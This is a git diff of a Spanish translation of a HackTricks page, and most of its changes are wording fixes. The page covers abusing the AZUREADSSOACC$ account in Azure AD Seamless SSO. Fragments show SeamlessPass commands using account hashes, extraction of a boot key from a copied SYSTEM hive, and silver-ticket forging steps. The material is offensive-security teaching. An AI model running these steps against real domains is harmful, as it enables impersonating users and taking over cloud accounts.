El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada `AZUREADSSOACC$`** en AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada como texto plano a Entra ID** durante la configuración.
|
||||
El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada `AZUREADSSOACC$`** en AD local. La contraseña de la cuenta `AZUREADSSOACC$` se **envía en texto plano a Entra ID** durante la configuración.
|
||||
|
||||
Los **tickets de Kerberos** están **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Entra ID utiliza la contraseña enviada para desencriptar los tickets.
|
||||
|
||||
@@ -49,7 +49,7 @@ Para obtener ese ticket TGS, el atacante necesita tener uno de los siguientes:
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
Como [se explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), tener cualquiera de los requisitos anteriores hace que sea muy fácil usar la herramienta **SeamlessPass** para acceder a los recursos en la nube como el usuario comprometido, o como cualquier usuario si tienes el hash o contraseña de la cuenta **`AZUREADSSOACC$`**.
|
||||
Como [se explica en esta publicación del blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), tener cualquiera de los requisitos anteriores hace que sea muy fácil usar la herramienta **SeamlessPass** para acceder a los recursos en la nube como el usuario comprometido, o como cualquier usuario si tienes el hash o contraseña de la cuenta **`AZUREADSSOACC$`**.
|
||||
|
||||
Finalmente, con el TGT es posible usar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
|
||||
```bash
|
||||
@@ -65,7 +65,7 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Más información para configurar Firefox para trabajar con SSO sin problemas se puede [**encontrar en esta publicación de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
Más información para configurar Firefox para trabajar con SSO sin interrupciones se puede [**encontrar en esta publicación de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Obtener hashes de la cuenta AZUREADSSOACC$
|
||||
|
||||
@@ -91,9 +91,9 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
> Con la información actual, podrías simplemente usar la herramienta **SeamlessPass** como se indicó anteriormente para obtener tokens de azure y entraid para cualquier usuario en el dominio.
|
||||
> También podrías usar las técnicas anteriores (y otras) para obtener el hash de la contraseña de la víctima que deseas suplantar en lugar de la cuenta `AZUREADSSOACC$`.
|
||||
|
||||
#### Creando Tickets de Plata
|
||||
#### Creando Tickets Silver
|
||||
|
||||
Con el hash ahora puedes **generar tickets de plata**:
|
||||
Con el hash ahora puedes **generar tickets silver**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -128,7 +128,7 @@ Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:
|
||||
> Esto **no elude MFA si está habilitado** en el usuario.
|
||||
|
||||
|
||||
### On-prem -> Cloud a través de Delegación Constrainida Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
### On-prem -> Cloud a través de Delegación Constrainada Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Para realizar el ataque se necesita:
|
||||
|
||||
@@ -188,4 +188,4 @@ Si los administradores de Active Directory tienen acceso a Azure AD Connect, pue
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: Estoy en tu nube, leyendo los correos electrónicos de todos - hackeando Azure AD a través de Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user